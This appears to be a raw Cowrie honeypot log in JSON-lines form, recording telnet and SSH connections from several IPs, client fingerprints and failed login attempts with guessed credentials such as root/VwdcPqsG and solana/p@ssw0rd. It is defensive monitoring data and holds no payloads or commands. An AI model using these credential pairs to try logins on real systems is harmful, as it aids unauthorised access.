{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":58526,"dst_ip":"159.203.135.109","dst_port":23,"session":"644f8924bfac","protocol":"telnet","message":"New connection: 68.178.160.252:58526 (159.203.135.109:23) [session: 644f8924bfac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:25.838074Z"}
{"eventid":"cowrie.session.closed","duration":30.515833854675293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:26.296571Z","src_ip":"62.171.135.55","session":"cae17f5258af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42322,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc02356e12fe","protocol":"telnet","message":"New connection: 62.171.135.55:42322 (159.203.135.109:23) [session: bc02356e12fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:27.970067Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48676,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b36ab2d4cc","protocol":"telnet","message":"New connection: 107.155.66.219:48676 (159.203.135.109:23) [session: d5b36ab2d4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:28.114375Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VwdcPqsG","message":"login attempt [root/VwdcPqsG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:30.353869Z","src_ip":"213.209.159.158","session":"0e451c1056a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00114417076111,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:32.594975Z","src_ip":"177.146.132.183","session":"ddc7229aaa37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48686,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5cab6b05be2","protocol":"telnet","message":"New connection: 107.155.66.219:48686 (159.203.135.109:23) [session: a5cab6b05be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:32.996258Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":51498,"dst_ip":"10.17.0.5","dst_port":23,"session":"04bcfd3ad6d7","protocol":"telnet","message":"New connection: 177.146.132.183:51498 (10.17.0.5:23) [session: 04bcfd3ad6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:33.016289Z"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:33.547356Z","src_ip":"213.209.159.158","session":"0e451c1056a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1590,"dst_ip":"159.203.135.109","dst_port":22,"session":"9262577dd825","protocol":"ssh","message":"New connection: 213.209.159.158:1590 (159.203.135.109:22) [session: 9262577dd825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:33.652085Z"}
{"eventid":"cowrie.session.closed","duration":31.01921033859253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:35.171885Z","src_ip":"107.155.66.219","session":"c2918011b3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52316,"dst_ip":"159.203.135.109","dst_port":22,"session":"179d1abfcbfa","protocol":"ssh","message":"New connection: 159.203.92.129:52316 (159.203.135.109:22) [session: 179d1abfcbfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:35.719071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:35.727659Z","src_ip":"159.203.92.129","session":"179d1abfcbfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:35.732065Z","src_ip":"159.203.92.129","session":"179d1abfcbfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"master","message":"login attempt [ansible/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:35.762766Z","src_ip":"159.203.92.129","session":"179d1abfcbfa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:35.778409Z","src_ip":"213.209.159.158","session":"9262577dd825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:35.781950Z","src_ip":"213.209.159.158","session":"9262577dd825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:36.769280Z","src_ip":"159.203.92.129","session":"179d1abfcbfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.907734155654907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:38.022282Z","src_ip":"107.155.66.219","session":"3545323e39a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052643299102783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:41.074039Z","src_ip":"62.171.135.55","session":"c9251e28796a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":36354,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19e824f4839","protocol":"ssh","message":"New connection: 80.94.92.182:36354 (10.17.0.5:22) [session: a19e824f4839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:41.291167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:41.396586Z","src_ip":"80.94.92.182","session":"a19e824f4839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:41.483920Z","src_ip":"80.94.92.182","session":"a19e824f4839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.247562408447266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:42.213409Z","src_ip":"68.178.160.252","session":"639c9c454b0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"p@ssw0rd","message":"login attempt [solana/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:43.084613Z","src_ip":"80.94.92.182","session":"a19e824f4839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":37516,"dst_ip":"159.203.135.109","dst_port":23,"session":"792cf409a804","protocol":"telnet","message":"New connection: 68.178.160.252:37516 (159.203.135.109:23) [session: 792cf409a804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:43.804502Z"}
{"eventid":"cowrie.session.closed","duration":30.56021761894226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:44.245641Z","src_ip":"68.178.160.252","session":"10ddcf6e039b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":54660,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddfeebb880d5","protocol":"ssh","message":"New connection: 81.30.162.19:54660 (159.203.135.109:22) [session: ddfeebb880d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:44.386001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:44.391114Z","src_ip":"81.30.162.19","session":"ddfeebb880d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:44.507687Z","src_ip":"81.30.162.19","session":"ddfeebb880d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:44.745152Z","src_ip":"80.94.92.182","session":"a19e824f4839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mm","message":"login attempt [root/mm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:45.012856Z","src_ip":"81.30.162.19","session":"ddfeebb880d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.536707401275635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:45.053369Z","src_ip":"107.155.66.219","session":"10f163f7fb2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":38188,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb9857d3b15","protocol":"telnet","message":"New connection: 68.178.160.252:38188 (159.203.135.109:23) [session: adb9857d3b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:45.321965Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"volcane","message":"login attempt [root/volcane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:45.400706Z","src_ip":"213.209.159.158","session":"9262577dd825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:46.138381Z","src_ip":"81.30.162.19","session":"ddfeebb880d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":32886,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6eb9b2ff0f2","protocol":"telnet","message":"New connection: 107.155.66.219:32886 (159.203.135.109:23) [session: b6eb9b2ff0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:48.210704Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:48.560606Z","src_ip":"213.209.159.158","session":"9262577dd825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43874,"dst_ip":"159.203.135.109","dst_port":22,"session":"fce85735d43e","protocol":"ssh","message":"New connection: 213.209.159.158:43874 (159.203.135.109:22) [session: fce85735d43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:48.656307Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"85df4a3bd4e3","protocol":"telnet","message":"New connection: 62.171.135.55:53056 (159.203.135.109:23) [session: 85df4a3bd4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:49.648185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:50.707139Z","src_ip":"213.209.159.158","session":"fce85735d43e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:50.710201Z","src_ip":"213.209.159.158","session":"fce85735d43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":36630,"dst_ip":"159.203.135.109","dst_port":23,"session":"92e61199c05b","protocol":"telnet","message":"New connection: 62.171.135.55:36630 (159.203.135.109:23) [session: 92e61199c05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:53.559740Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":32898,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e35257cd947","protocol":"telnet","message":"New connection: 107.155.66.219:32898 (159.203.135.109:23) [session: 0e35257cd947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:53.847149Z"}
{"eventid":"cowrie.session.closed","duration":30.638104677200317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:54.074897Z","src_ip":"107.155.66.219","session":"8663b7868780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284058570861816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:54.498239Z","src_ip":"62.171.135.55","session":"af1d92d7a6cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753541946411133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:56.591497Z","src_ip":"68.178.160.252","session":"644f8924bfac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55284,"dst_ip":"159.203.135.109","dst_port":23,"session":"7efa3816d5d8","protocol":"telnet","message":"New connection: 107.155.66.219:55284 (159.203.135.109:23) [session: 7efa3816d5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:57.161486Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":48294,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dac6b61f9b8","protocol":"ssh","message":"New connection: 156.227.233.77:48294 (159.203.135.109:22) [session: 8dac6b61f9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:58.014056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:58.018989Z","src_ip":"156.227.233.77","session":"8dac6b61f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55296,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb80044e270a","protocol":"telnet","message":"New connection: 107.155.66.219:55296 (159.203.135.109:23) [session: eb80044e270a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:58.142085Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:58.180496Z","src_ip":"156.227.233.77","session":"8dac6b61f9b8","protocol":"ssh"}
